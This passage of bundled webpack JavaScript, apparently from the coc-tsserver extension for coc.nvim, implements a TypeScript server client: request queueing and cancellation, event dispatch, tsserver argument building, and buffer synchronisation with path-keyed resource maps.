return coc_nvim_1.Uri.file(filepath);
}
execute(command, args, token, config) {
var _a;
let execution;
if (config === null || config === void 0 ? void 0 : config.cancelOnResourceChange) {
const source = new vscode_languageserver_protocol_1.CancellationTokenSource();
token.onCancellationRequested(() => source.cancel());
const inFlight = {
resource: config.cancelOnResourceChange,
cancel: () => source.cancel(),
};
(_a = this.tsServerProcess) === null || _a === void 0 ? void 0 : _a.toCancelOnResourceChange.add(inFlight);
execution = this.executeImpl(command, args, Object.assign({ isAsync: false, token: source.token, expectsResult: true }, config)).finally(() => {
var _a;
(_a = this.tsServerProcess) === null || _a === void 0 ? void 0 : _a.toCancelOnResourceChange.delete(inFlight);
source.dispose();
});
}
else {
execution = this.executeImpl(command, args, Object.assign({ isAsync: false, token, expectsResult: true }, config));
}
if (config === null || config === void 0 ? void 0 : config.nonRecoverable) {
execution.catch(err => this.fatalError(command, err));
}
return execution;
}
fatalError(command, error) {
console.error(`A non-recoverable error occured while executing tsserver command: ${command}`);
if (this.state === coc_nvim_1.ServiceStat.Running) {
this.info('Killing TS Server by fatal error:', error);
this.service().then(service => {
service.kill();
});
}
}
executeAsync(command, args, token) {
return this.executeImpl(command, args, {
isAsync: true,
token,
expectsResult: true
});
}
executeWithoutWaitingForResponse(command, args) {
this.executeImpl(command, args, {
isAsync: false,
token: undefined,
expectsResult: false
});
}
executeImpl(command, args, executeInfo) {
if (this.servicePromise == null) {
return Promise.resolve(undefined);
}
this.bufferSyncSupport.beforeCommand(command);
const request = this._requestQueue.createRequest(command, args);
const requestInfo = {
request,
expectsResponse: executeInfo.expectsResult,
isAsync: executeInfo.isAsync,
queueingType: getQueueingType(command, executeInfo.lowPriority)
};
let result;
if (executeInfo.expectsResult) {
result = new Promise((resolve, reject) => {
this._callbacks.add(request.seq, { onSuccess: resolve, onError: reject, startTime: Date.now(), isAsync: executeInfo.isAsync }, executeInfo.isAsync);
if (executeInfo.token) {
executeInfo.token.onCancellationRequested(() => {
this.tryCancelRequest(request.seq, command);
});
}
}).catch((err) => {
throw err;
});
}
this._requestQueue.enqueue(requestInfo);
this.sendNextRequests();
return result;
}
sendNextRequests() {
while (this._pendingResponses.size === 0 && this._requestQueue.length > 0) {
const item = this._requestQueue.dequeue();
if (item) {
this.sendRequest(item);
}
}
}
sendRequest(requestItem) {
const serverRequest = requestItem.request;
this.tracer.traceRequest(serverRequest, requestItem.expectsResponse, this._requestQueue.length);
if (requestItem.expectsResponse && !requestItem.isAsync) {
this._pendingResponses.add(requestItem.request.seq);
}
this.service().then(childProcess => {
try {
childProcess.write(serverRequest);
}
catch (err) {
const callback = this.fetchCallback(serverRequest.seq);
if (callback) {
callback.onError(err);
}
}
});
}
tryCancelRequest(seq, command) {
try {
if (this._requestQueue.tryDeletePendingRequest(seq)) {
this.tracer.logTrace(`TypeScript Server: canceled request with sequence number ${seq}`);
return true;
}
if (this.cancellationPipeName) {
this.tracer.logTrace(`TypeScript Server: trying to cancel ongoing request with sequence number ${seq}`);
try {
fs_1.default.writeFileSync(this.cancellationPipeName + seq, '');
}
catch (_a) {
// noop
}
return true;
}
this.tracer.logTrace(`TypeScript Server: tried to cancel request with sequence number ${seq}. But request got already delivered.`);
return false;
}
finally {
const callback = this.fetchCallback(seq);
if (callback) {
callback.onSuccess(new typescriptService_1.ServerResponse.Cancelled(`Cancelled request ${seq} - ${command}`));
}
}
}
fetchCallback(seq) {
const callback = this._callbacks.fetch(seq);
if (!callback) {
return undefined;
}
this._pendingResponses.delete(seq);
return callback;
}
dispatchMessage(message) {
try {
switch (message.type) {
case 'response':
this.dispatchResponse(message);
break;
case 'event':
const event = message;
if (event.event === 'requestCompleted') {
const seq = event.body.request_seq;
const p = this._callbacks.fetch(seq);
if (p) {
this.tracer.traceRequestCompleted('requestCompleted', seq, p.startTime);
p.onSuccess(undefined);
}
}
else {
this.tracer.traceEvent(event);
this.dispatchEvent(event);
}
break;
default:
throw new Error(`Unknown message type ${message.type} received`);
}
}
finally {
this.sendNextRequests();
}
}
dispatchResponse(response) {
const callback = this.fetchCallback(response.request_seq);
if (!callback) {
return;
}
this.tracer.traceResponse(response, callback.startTime);
if (response.success) {
callback.onSuccess(response);
}
else if (response.message === 'No content available.') {
// Special case where response itself is successful but there is not any data to return.
callback.onSuccess(typescriptService_1.ServerResponse.NoContent);
}
else {
callback.onError(new Error(response.message));
}
}
dispatchEvent(event) {
switch (event.event) {
case 'syntaxDiag':
case 'semanticDiag':
case 'suggestionDiag':
const diagnosticEvent = event;
if (diagnosticEvent.body && diagnosticEvent.body.diagnostics) {
this._onDiagnosticsReceived.fire({
kind: getDiagnosticsKind(event),
resource: this.asUrl(diagnosticEvent.body.file),
diagnostics: diagnosticEvent.body.diagnostics
});
}
break;
case 'configFileDiag':
this._onConfigDiagnosticsReceived.fire(event);
break;
case 'projectLanguageServiceState':
if (event.body) {
this._onProjectLanguageServiceStateChanged.fire(event.body);
}
break;
case 'beginInstallTypes':
if (event.body) {
this._onDidBeginInstallTypings.fire(event.body);
}
break;
case 'endInstallTypes':
if (event.body) {
this._onDidEndInstallTypings.fire(event.body);
}
break;
case 'projectsUpdatedInBackground':
const body = event.body;
const resources = body.openFiles.map(coc_nvim_1.Uri.file);
this.bufferSyncSupport.getErr(resources);
break;
case 'typesInstallerInitializationFailed':
if (event.body) {
this._onTypesInstallerInitializationFailed.fire(event.body);
}
break;
case 'projectLoadingStart':
this.versionStatus.loading = true;
break;
case 'projectLoadingFinish':
this.versionStatus.loading = false;
break;
}
}
async getTsServerArgs(currentVersion) {
const args = [];
args.push('--allowLocalPluginLoads');
if (this.apiVersion.gte(api_1.default.v250)) {
args.push('--useInferredProjectPerProjectRoot');
}
else {
args.push('--useSingleInferredProject');
}
if (this.apiVersion.gte(api_1.default.v206) && this._configuration.disableAutomaticTypeAcquisition) {
args.push('--disableAutomaticTypingAcquisition');
}
if (this.apiVersion.gte(api_1.default.v222)) {
this.cancellationPipeName = process_1.getTempFile(`tscancellation-${process_1.makeRandomHexString(20)}`);
args.push('--cancellationPipeName', this.cancellationPipeName + '*');
}
if (this.apiVersion.gte(api_1.default.v222)) {
const isRoot = process.getuid && process.getuid() == 0;
if (this._configuration.tsServerLogLevel !== configuration_1.TsServerLogLevel.Off && !isRoot) {
const logDir = process_1.getTempDirectory();
if (logDir) {
this.tsServerLogFile = path_1.default.join(logDir, `tsserver.log`);
this.info('TSServer log file :', this.tsServerLogFile);
}
else {
this.tsServerLogFile = null;
this.error('Could not create TSServer log directory');
}
if (this.tsServerLogFile) {
args.push('--logVerbosity', configuration_1.TsServerLogLevel.toString(this._configuration.tsServerLogLevel));
args.push('--logFile', this.tsServerLogFile);
}
}
}
if (this.apiVersion.gte(api_1.default.v230)) {
const pluginNames = this.pluginManager.plugins.map(x => x.name);
let pluginPaths = this._configuration.tsServerPluginPaths;
pluginPaths = pluginPaths.reduce((p, c) => {
if (path_1.default.isAbsolute(c)) {
p.push(c);
}
else {
let roots = coc_nvim_1.workspace.workspaceFolders.map(o => coc_nvim_1.Uri.parse(o.uri).fsPath);
p.push(...roots.map(r => path_1.default.join(r, c)));
}
return p;
}, []);
if (pluginNames.length) {
const isUsingBundledTypeScriptVersion = currentVersion.path == this.versionProvider.bundledVersion.path;
args.push('--globalPlugins', pluginNames.join(','));
for (const plugin of this.pluginManager.plugins) {
if (isUsingBundledTypeScriptVersion || plugin.enableForWorkspaceTypeScriptVersions) {
pluginPaths.push(plugin.path);
}
}
}
if (pluginPaths.length) {
args.push('--pluginProbeLocations', pluginPaths.join(','));
}
}
if (this._configuration.locale) {
args.push('--locale', this._configuration.locale);
}
if (this._configuration.typingsCacheLocation) {
args.push('--globalTypingsCacheLocation', `"${this._configuration.typingsCacheLocation}"`);
}
if (this.apiVersion.gte(api_1.default.v234)) {
let { npmLocation } = this._configuration;
if (npmLocation) {
this.logger.info(`using npm from ${npmLocation}`);
args.push('--npmLocation', `"${npmLocation}"`);
}
}
if (this.apiVersion.gte(api_1.default.v291)) {
args.push('--noGetErrOnBackgroundUpdate');
}
if (this.apiVersion.gte(api_1.default.v345)) {
args.push('--validateDefaultNpmLocation');
}
return args;
}
getProjectRootPath(uri) {
let root = coc_nvim_1.workspace.cwd;
let u = coc_nvim_1.Uri.parse(uri);
if (u.scheme !== 'file')
return undefined;
let folder = coc_nvim_1.workspace.getWorkspaceFolder(uri);
if (folder) {
root = coc_nvim_1.Uri.parse(folder.uri).fsPath;
}
else {
let filepath = coc_nvim_1.Uri.parse(uri).fsPath;
if (!filepath.startsWith(root)) {
root = path_1.default.dirname(filepath);
}
}
if (root == os_1.default.homedir())
return undefined;
return root;
}
configurePlugin(pluginName, configuration) {
if (this.apiVersion.gte(api_1.default.v314)) {
if (!this.servicePromise)
return;
this.servicePromise.then(() => {
// tslint:disable-next-line: no-floating-promises
this.executeWithoutWaitingForResponse('configurePlugin', { pluginName, configuration });
});
}
}
interruptGetErr(f) {
return this.bufferSyncSupport.interuptGetErr(f);
}
cancelInflightRequestsForResource(resource) {
if (this.state !== coc_nvim_1.ServiceStat.Running || !this.tsServerProcess) {
return;
}
for (const request of this.tsServerProcess.toCancelOnResourceChange) {
if (request.resource.toString() === resource.toString()) {
request.cancel();
}
}
}
}
exports.default = TypeScriptServiceClient;
function getDiagnosticsKind(event) {
switch (event.event) {
case 'syntaxDiag':
return diagnostics_1.DiagnosticKind.Syntax;
case 'semanticDiag':
return diagnostics_1.DiagnosticKind.Semantic;
case 'suggestionDiag':
return diagnostics_1.DiagnosticKind.Suggestion;
}
throw new Error('Unknown dignostics kind');
}
const fenceCommands = new Set(['change', 'close', 'open']);
function getQueueingType(command, lowPriority) {
if (fenceCommands.has(command)) {
return requestQueue_1.RequestQueueingType.Fence;
}
return lowPriority ? requestQueue_1.RequestQueueingType.LowPriority : requestQueue_1.RequestQueueingType.Normal;
}
/***/ }),
/* 118 */
/***/ ((__unused_webpack_module, exports) => {
"use strict";
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
Object.defineProperty(exports, "__esModule", ({ value: true }));
exports.disabledSchemes = exports.semanticSupportedSchemes = exports.walkThroughSnippet = exports.vsls = exports.git = exports.untitled = exports.file = void 0;
exports.file = 'file';
exports.untitled = 'untitled';
exports.git = 'git';
/** Live share scheme */
exports.vsls = 'vsls';
exports.walkThroughSnippet = 'walkThroughSnippet';
exports.semanticSupportedSchemes = [
exports.file,
exports.untitled,
exports.walkThroughSnippet,
];
/**
* File scheme for which JS/TS language feature should be disabled
*/
exports.disabledSchemes = new Set([
exports.git,
exports.vsls
]);
/***/ }),
/* 119 */
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
"use strict";
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
Object.defineProperty(exports, "__esModule", ({ value: true }));
exports.CallbackMap = void 0;
const typescriptService_1 = __webpack_require__(120);
class CallbackMap {
constructor() {
this._callbacks = new Map();
this._asyncCallbacks = new Map();
}
destroy(cause) {
const cancellation = new typescriptService_1.ServerResponse.Cancelled(cause);
for (const callback of this._callbacks.values()) {
callback.onSuccess(cancellation);
}
this._callbacks.clear();
for (const callback of this._asyncCallbacks.values()) {
callback.onSuccess(cancellation);
}
this._asyncCallbacks.clear();
}
add(seq, callback, isAsync) {
if (isAsync) {
this._asyncCallbacks.set(seq, callback);
}
else {
this._callbacks.set(seq, callback);
}
}
fetch(seq) {
const callback = this._callbacks.get(seq) || this._asyncCallbacks.get(seq);
this.delete(seq);
return callback;
}
delete(seq) {
if (!this._callbacks.delete(seq)) {
this._asyncCallbacks.delete(seq);
}
}
}
exports.CallbackMap = CallbackMap;
/***/ }),
/* 120 */
/***/ ((__unused_webpack_module, exports) => {
"use strict";
Object.defineProperty(exports, "__esModule", ({ value: true }));
exports.ExectuionTarget = exports.ServerResponse = void 0;
var ServerResponse;
(function (ServerResponse) {
class Cancelled {
constructor(reason) {
this.reason = reason;
this.type = 'cancelled';
}
}
ServerResponse.Cancelled = Cancelled;
// tslint:disable-next-line: new-parens
ServerResponse.NoContent = new class {
constructor() {
this.type = 'noContent';
}
};
})(ServerResponse = exports.ServerResponse || (exports.ServerResponse = {}));
var ExectuionTarget;
(function (ExectuionTarget) {
ExectuionTarget[ExectuionTarget["Semantic"] = 0] = "Semantic";
ExectuionTarget[ExectuionTarget["Syntax"] = 1] = "Syntax";
})(ExectuionTarget = exports.ExectuionTarget || (exports.ExectuionTarget = {}));
/***/ }),
/* 121 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
const coc_nvim_1 = __webpack_require__(1);
const vscode_languageserver_protocol_1 = __webpack_require__(3);
const api_1 = __importDefault(__webpack_require__(36));
const async_1 = __webpack_require__(122);
const typeConverters = __importStar(__webpack_require__(82));
const languageModeIds_1 = __webpack_require__(123);
const resourceMap_1 = __webpack_require__(124);
class CloseOperation {
constructor(args) {
this.args = args;
this.type = 0 /* Close */;
}
}
class OpenOperation {
constructor(args) {
this.args = args;
this.type = 1 /* Open */;
}
}
class ChangeOperation {
constructor(args) {
this.args = args;
this.type = 2 /* Change */;
}
}
class SyncedBuffer {
constructor(document, filepath, client, synchronizer) {
this.document = document;
this.filepath = filepath;
this.client = client;
this.synchronizer = synchronizer;
this.state = 1 /* Initial */;
}
open() {
const args = {
file: this.filepath,
fileContent: this.document.getText(),
projectRootPath: this.client.getProjectRootPath(this.document.uri),
};
const scriptKind = languageModeIds_1.mode2ScriptKind(this.document.languageId);
if (scriptKind) {
args.scriptKindName = scriptKind;
}
if (this.client.apiVersion.gte(api_1.default.v240)) {
// plugin managed.
const tsPluginsForDocument = this.client.pluginManager.plugins
.filter(x => x.languages.indexOf(this.document.languageId) >= 0);
if (tsPluginsForDocument.length) {
args.plugins = tsPluginsForDocument.map(plugin => plugin.name);
}
}
this.synchronizer.open(this.resource, args);
this.state = 2 /* Open */;
}
get resource() {
return this.document.uri;
}
get lineCount() {
return this.document.lineCount;
}
get kind() {
if (this.document.languageId.startsWith('javascript')) {
return 2 /* JavaScript */;
}
return 1 /* TypeScript */;
}
/**
* @return Was the buffer open?
*/
close() {
if (this.state !== 2 /* Open */) {
this.state = 2 /* Closed */;
return false;
}
this.state = 2 /* Closed */;
return this.synchronizer.close(this.resource, this.filepath);
}
onContentChanged(events) {
if (this.state !== 2 /* Open */) {
console.error(`Unexpected buffer state: ${this.state}`);
}
this.synchronizer.change(this.resource, this.filepath, events);
}
}
class SyncedBufferMap extends resourceMap_1.ResourceMap {
getForPath(filePath) {
return this.get(coc_nvim_1.Uri.file(filePath).toString());
}
get allBuffers() {
return this.values;
}
}
class PendingDiagnostics extends resourceMap_1.ResourceMap {
getOrderedFileSet() {
const orderedResources = Array.from(this.entries)
.sort((a, b) => a.value - b.value)
.map(entry => entry.uri);
const map = new resourceMap_1.ResourceMap(this._normalizePath);
for (const resource of orderedResources) {
map.set(resource, undefined);
}
return map;
}
}
/**
* Manages synchronization of buffers with the TS server.
*
* If supported, batches together file changes. This allows the TS server to more efficiently process changes.
*/
class BufferSynchronizer {
constructor(client, pathNormalizer) {
this.client = client;
this._pending = new resourceMap_1.ResourceMap(pathNormalizer);
}
open(resource, args) {
if (this.supportsBatching) {
this.updatePending(resource, new OpenOperation(args));
}
else {
this.client.executeWithoutWaitingForResponse('open', args);
}
}
/**
* @return Was the buffer open?
*/
close(resource, filepath) {
if (this.supportsBatching) {
return this.updatePending(resource, new CloseOperation(filepath));
}
else {
const args = { file: filepath };
this.client.executeWithoutWaitingForResponse('close', args);
return true;
}
}
change(resource, filepath, events) {
if (!events.length) {
return;
}
if (this.supportsBatching) {
this.updatePending(resource, new ChangeOperation({
fileName: filepath,
textChanges: events.map((change) => ({
newText: change.text,
start: typeConverters.Position.toLocation(change.range.start),
end: typeConverters.Position.toLocation(change.range.end),
})).reverse(),
}));
}
else {
for (const { range, text } of events) {
const args = Object.assign({ insertString: text }, typeConverters.Range.toFormattingRequestArgs(filepath, range));
this.client.executeWithoutWaitingForResponse('change', args);
}
}
}
reset() {
this._pending.clear();
}
beforeCommand(command) {
if (command === 'updateOpen') {
return;
}
this.flush();
}
flush() {
if (!this.supportsBatching) {
// We've already eagerly synchronized
this._pending.clear();
return;
}
if (this._pending.size > 0) {
const closedFiles = [];
const openFiles = [];
const changedFiles = [];
for (const change of this._pending.values) {
switch (change.type) {
case 2 /* Change */:
changedFiles.push(change.args);
break;
case 1 /* Open */:
openFiles.push(change.args);
break;
case 0 /* Close */:
closedFiles.push(change.args);
break;
}
}
this.client.execute('updateOpen', { changedFiles, closedFiles, openFiles }, vscode_languageserver_protocol_1.CancellationToken.None, { nonRecoverable: true });
this._pending.clear();
}
}
get supportsBatching() {
return this.client.apiVersion.gte(api_1.default.v340);
}
updatePending(resource, op) {
switch (op.type) {
case 0 /* Close */:
const existing = this._pending.get(resource);
switch (existing === null || existing === void 0 ? void 0 : existing.type) {
case 1 /* Open */:
this._pending.delete(resource);
return false; // Open then close. No need to do anything
}
break;
}
if (this._pending.has(resource)) {
// we saw this file before, make sure we flush before working with it again
this.flush();
}
this._pending.set(resource, op);
return true;
}
}
class GetErrRequest {
constructor(client, uris, _token, onDone) {
this.uris = uris;
this._token = _token;
this._done = false;
let files = uris.map(uri => client.normalizePath(uri));
const args = {
delay: 0,
files
};
const done = () => {
if (this._done) {
return;
}
this._done = true;
onDone();
};
client.executeAsync('geterr', args, _token.token).then(done, done);
}
static executeGetErrRequest(client, uris, onDone) {
const token = new vscode_languageserver_protocol_1.CancellationTokenSource();
return new GetErrRequest(client, uris, token, onDone);
}
cancel() {
if (!this._done) {
this._token.cancel();
}
this._token.dispose();
}
}
class BufferSyncSupport {
constructor(client, modeIds) {
this.disposables = [];
this._validateJavaScript = true;
this._validateTypeScript = true;
this.listening = false;
this._onDelete = new vscode_languageserver_protocol_1.Emitter();
this.onDelete = this._onDelete.event;
this._onWillChange = new vscode_languageserver_protocol_1.Emitter();
this.onWillChange = this._onWillChange.event;
this.client = client;
this.modeIds = new Set(modeIds);
this.diagnosticDelayer = new async_1.Delayer(300);
const pathNormalizer = (path) => this.client.toPath(path);
this.syncedBuffers = new SyncedBufferMap(pathNormalizer);
this.pendingDiagnostics = new PendingDiagnostics(pathNormalizer);
this.synchronizer = new BufferSynchronizer(client, pathNormalizer);
this.updateConfiguration();
coc_nvim_1.workspace.onDidChangeConfiguration(this.updateConfiguration, this, this.disposables);
}
listen() {
if (this.listening) {
return;
}
this.listening = true;
coc_nvim_1.workspace.onDidOpenTextDocument(this.openTextDocument, this, this.disposables);
coc_nvim_1.workspace.onDidCloseTextDocument(this.onDidCloseTextDocument, this, this.disposables);
coc_nvim_1.workspace.onDidChangeTextDocument(this.onDidChangeTextDocument, this, this.disposables);
coc_nvim_1.workspace.textDocuments.forEach(this.openTextDocument, this);
}
handles(resource) {
return this.syncedBuffers.has(resource);
}
dispose() {
this.pendingDiagnostics.clear();
coc_nvim_1.disposeAll(this.disposables);
this._onWillChange.dispose();
this._onDelete.dispose();
}
ensureHasBuffer(resource) {
if (this.syncedBuffers.has(resource)) {
return true;
}
const existingDocument = coc_nvim_1.workspace.textDocuments.find(doc => doc.uri.toString() === resource);
if (existingDocument) {
return this.openTextDocument(existingDocument);
}
return false;
}
toResource(filePath) {
const buffer = this.syncedBuffers.getForPath(filePath);
if (buffer)
return buffer.resource;
return coc_nvim_1.Uri.file(filePath).toString();
}
reset() {
var _a;
(_a = this.pendingGetErr) === null || _a === void 0 ? void 0 : _a.cancel();
this.pendingDiagnostics.clear();
this.synchronizer.reset();
}
reinitialize() {
this.reset();
for (const buffer of this.syncedBuffers.allBuffers) {
buffer.open();
}
}
openTextDocument(document) {
if (!this.modeIds.has(document.languageId)) {
// can't handle
return false;
}
const resource = document.uri;
const filepath = this.client.normalizePath(coc_nvim_1.Uri.parse(resource));
if (!filepath) {
return false;
}
if (this.syncedBuffers.has(resource)) {
return true;
}
const syncedBuffer = new SyncedBuffer(document, filepath, this.client, this.synchronizer);
this.syncedBuffers.set(resource, syncedBuffer);
syncedBuffer.open();
this.requestDiagnostic(syncedBuffer);
return true;
}
closeResource(resource) {
const syncedBuffer = this.syncedBuffers.get(resource);
if (!syncedBuffer) {
return;
}
this.pendingDiagnostics.delete(resource);
this.syncedBuffers.delete(resource);
const wasBufferOpen = syncedBuffer.close();
this._onDelete.fire(resource);
if (wasBufferOpen) {
this.requestAllDiagnostics();
}
}
onDidCloseTextDocument(document) {
this.closeResource(document.uri);
}
onDidChangeTextDocument(e) {
const syncedBuffer = this.syncedBuffers.get(e.textDocument.uri);
if (!syncedBuffer) {
return;
}
this._onWillChange.fire(syncedBuffer.resource);
syncedBuffer.onContentChanged(e.contentChanges);
const didTrigger = this.requestDiagnostic(syncedBuffer);
if (!didTrigger && this.pendingGetErr) {
// In this case we always want to re-trigger all diagnostics
this.pendingGetErr.cancel();
this.pendingGetErr = undefined;
this.triggerDiagnostics();
}
}
beforeCommand(command) {
this.synchronizer.beforeCommand(command);
}
interuptGetErr(f) {
if (!this.pendingGetErr) {
return f();
}
this.pendingGetErr.cancel();
this.pendingGetErr = undefined;
const result = f();
this.triggerDiagnostics();
return result;
}
getErr(resources) {
const handledResources = resources.filter(resource => {
let syncedBuffer = this.syncedBuffers.get(resource.toString());
return syncedBuffer && this.shouldValidate(syncedBuffer);
});
if (!handledResources.length) {
return;
}
for (const resource of handledResources) {
this.pendingDiagnostics.set(resource.toString(), Date.now());
}
this.triggerDiagnostics();
}
triggerDiagnostics(delay = 200) {
this.diagnosticDelayer.trigger(() => {
this.sendPendingDiagnostics();
}, delay);
}
requestAllDiagnostics() {
for (const buffer of this.syncedBuffers.allBuffers) {
if (this.shouldValidate(buffer)) {
this.pendingDiagnostics.set(buffer.resource, Date.now());
}
}
this.triggerDiagnostics();
}
requestDiagnostic(buffer) {
if (!this.shouldValidate(buffer)) {
return false;
}
this.pendingDiagnostics.set(buffer.resource, Date.now());
const delay = Math.min(Math.max(Math.ceil(buffer.lineCount / 20), 300), 800);
this.triggerDiagnostics(delay);
return true;
}
hasPendingDiagnostics(uri) {
return this.pendingDiagnostics.has(uri);
}
sendPendingDiagnostics() {
const orderedFileSet = this.pendingDiagnostics.getOrderedFileSet();
if (this.pendingGetErr) {
this.pendingGetErr.cancel();
for (const uri of this.pendingGetErr.uris) {
let resource = uri.toString();
let syncedBuffer = this.syncedBuffers.get(resource);
if (syncedBuffer && this.shouldValidate(syncedBuffer)) {
orderedFileSet.set(resource, undefined);
}
else {
orderedFileSet.delete(resource);
}
}
this.pendingGetErr = undefined;
}
// Add all open TS buffers to the geterr request. They might be visible
for (const buffer of this.syncedBuffers.values) {
if (this.shouldValidate(buffer)) {
orderedFileSet.set(buffer.resource, undefined);
}
}
if (orderedFileSet.size) {
let uris = Array.from(orderedFileSet.uris).map(uri => coc_nvim_1.Uri.parse(uri));
const getErr = this.pendingGetErr = GetErrRequest.executeGetErrRequest(this.client, uris, () => {
if (this.pendingGetErr === getErr) {
this.pendingGetErr = undefined;
}
});
}
this.pendingDiagnostics.clear();
}
updateConfiguration() {
const jsConfig = coc_nvim_1.workspace.getConfiguration('javascript', null);
const tsConfig = coc_nvim_1.workspace.getConfiguration('typescript', null);
this._validateJavaScript = jsConfig.get('validate.enable', true);
this._validateTypeScript = tsConfig.get('validate.enable', true);
}
shouldValidate(buffer) {
switch (buffer.kind) {
case 2 /* JavaScript */:
return this._validateJavaScript;
case 1 /* TypeScript */:
default:
return this._validateTypeScript;
}
}
}
exports.default = BufferSyncSupport;
/***/ }),
/* 122 */
/***/ ((__unused_webpack_module, exports) => {
"use strict";
Object.defineProperty(exports, "__esModule", ({ value: true }));
exports.Delayer = void 0;
class Delayer {
constructor(defaultDelay) {
this.defaultDelay = defaultDelay;
this.timeout = null;
this.completionPromise = null;
this.onSuccess = null;
this.task = null;
}
trigger(task, delay = this.defaultDelay) {
this.task = task;
if (delay >= 0) {
this.cancelTimeout();
}
if (!this.completionPromise) {
this.completionPromise = new Promise(resolve => {
this.onSuccess = resolve;
}).then(() => {
this.completionPromise = null;
this.onSuccess = null;
let result = this.task && this.task();
this.task = null;
return result;
});
}
if (delay >= 0 || this.timeout === null) {
this.timeout = setTimeout(() => {
this.timeout = null;
if (this.onSuccess) {
this.onSuccess(undefined);
}
}, delay >= 0 ? delay : this.defaultDelay);
}
return this.completionPromise;
}
cancelTimeout() {
if (this.timeout !== null) {
clearTimeout(this.timeout);
this.timeout = null;
}
}
}
exports.Delayer = Delayer;
/***/ }),
/* 123 */
/***/ ((__unused_webpack_module, exports) => {
"use strict";
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
Object.defineProperty(exports, "__esModule", ({ value: true }));
exports.mode2ScriptKind = exports.languageIds = exports.jsxTags = exports.javascriptjsx = exports.javascriptreact = exports.javascript = exports.typescriptjsx = exports.typescripttsx = exports.typescriptreact = exports.typescript = void 0;
exports.typescript = 'typescript';
exports.typescriptreact = 'typescriptreact';
exports.typescripttsx = 'typescript.tsx';
exports.typescriptjsx = 'typescript.jsx';
exports.javascript = 'javascript';
exports.javascriptreact = 'javascriptreact';
exports.javascriptjsx = 'javascript.jsx';
exports.jsxTags = 'jsx-tags';
exports.languageIds = [exports.typescript, exports.typescriptreact, exports.javascript, exports.javascriptreact, exports.javascriptjsx, exports.typescripttsx, exports.jsxTags];
function mode2ScriptKind(mode) {
switch (mode) {
case exports.typescript:
return 'TS';
case exports.typescripttsx:
return 'TSX';
case exports.typescriptjsx:
return 'TSX';
case exports.typescriptreact:
return 'TSX';
case exports.javascript:
return 'JS';
case exports.javascriptreact:
return 'JSX';
}
return undefined;
}
exports.mode2ScriptKind = mode2ScriptKind;
/***/ }),
/* 124 */
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
"use strict";
Object.defineProperty(exports, "__esModule", ({ value: true }));
exports.isWindowsPath = exports.ResourceMap = void 0;
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
const coc_nvim_1 = __webpack_require__(1);
function defaultPathNormalizer(resource) {
let u = coc_nvim_1.Uri.parse(resource);
if (u.scheme === 'file') {
return u.fsPath;
}
return resource.toString();
}
/**
* Maps of file uris
*
* Attempts to handle correct mapping on both case sensitive and case in-sensitive
* file systems.
*/
class ResourceMap {
constructor(_normalizePath = defaultPathNormalizer) {
this._normalizePath = _normalizePath;
this._map = new Map();
}
get size() {
return this._map.size;
}
get entries() {
return this._map.values();
}
has(uri) {
const file = this.toKey(uri);
return !!file && this._map.has(file);
}
get(uri) {
const file = this.toKey(uri);
if (!file)
return undefined;
let entry = this._map.get(file);
return entry ? entry.value : undefined;
}
set(uri, value) {
const file = this.toKey(uri);
if (file) {
this._map.set(file, { uri, value });
}
}
delete(uri) {
const file = this.toKey(uri);
if (file) {
this._map.delete(file);
}
}
get values() {
return Array.from(this._map.values()).map(x => x.value);
}
get uris() {
return Array.from(this._map.values()).map(x => x.uri);
}
clear() {
this._map.clear();
}
toKey(uri) {
const key = this._normalizePath
? this._normalizePath(uri)
: uri;
if (!key) {
return key;
}
return this.isCaseInsensitivePath(key) ? key.toLowerCase() : key;
}
isCaseInsensitivePath(path) {
if (isWindowsPath(path)) {
return true;
}
return path[0] === '/' && this.onIsCaseInsenitiveFileSystem;
}
get onIsCaseInsenitiveFileSystem() {
if (process.platform === 'win32') {
return true;
}
if (process.platform === 'darwin') {
return true;
}
return false;
}
}
exports.ResourceMap = ResourceMap;
function isWindowsPath(path) {
return /^[a-zA-Z]:\\/.test(path);
}
exports.isWindowsPath = isWindowsPath;
/***/ }),
/* 125 */
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
"use strict";
Object.defineProperty(exports, "__esModule", ({ value: true }));
exports.DiagnosticsManager = exports.DiagnosticKind = exports.DiagnosticSet = void 0;
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
const coc_nvim_1 = __webpack_require__(1);
const resourceMap_1 = __webpack_require__(124);
class DiagnosticSet {
constructor() {
this._map = new resourceMap_1.ResourceMap();
}
set(uri, diagnostics) {
this._map.set(uri, diagnostics);
}
get(uri) {
return this._map.get(uri) || [];
}
clear() {
